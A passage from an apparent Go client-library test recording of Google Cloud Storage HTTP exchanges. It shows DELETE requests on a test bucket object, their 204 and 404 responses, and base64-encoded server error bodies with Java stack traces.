yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249aGVhZGVycy5BdXRob3JpemF0aW9uLCBtZXNzYWdlPUFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS4sIHJlYXNvbj1yZXF1aXJlZCwgcnBjQ29kZT00MDF9IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS46IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0NFU1NfREVOSUVEOiBBbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YTo0NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5pbnNlcnQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBBbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0Li4uIDIwIG1vcmVcbiJ9XSwiY29kZSI6NDAxLCJtZXNzYWdlIjoiQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLiJ9fQ==" - } - }, - { - "ID": "db327c92dac99584", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/copy-obj1?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:24:18 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoa0LrEhOIeq-iYERbwsOkXjr0QR1ANe3tDsleUqoFNU7fRIruaqYikdnU1svzhc8iGRwx0A5dAGYQ_mM045LN_oxU1c76ugXtnWS2PW8wBcmst7hk" - ] - }, - "Body": "" - } - }, - { - "ID": "e70c028bd3dc9250", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/copy-obj1?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12275" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:18 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:18 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqrvFq18HewCbAkJcD7BmKgE8_WOFqSNkcwbpbNqCDPIy5jLVf2fIaHdg76_1rHuAHTtFM84Zr6euptOehRZOqA38Zc_BrJUSZKjg686imvazehpBc" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxIiwiZGVidWdJbmZvIjoiY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6Ok9CSkVDVF9OT1RfRk9VTkQ6IE5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6ODgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmRlbGV0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6T0JKRUNUX05PVF9GT1VORDogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IE5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPW5vdEZvdW5kLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5OT1RfRk9VTkQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpPQkpFQ1RfTk9UX0ZPVU5EOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjg4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5kZWxldGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjExMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1OT1RfRk9VTkQsIGVycm9yUHJvdG9Eb21haW49Z2RhdGEuQ29yZUVycm9yRG9tY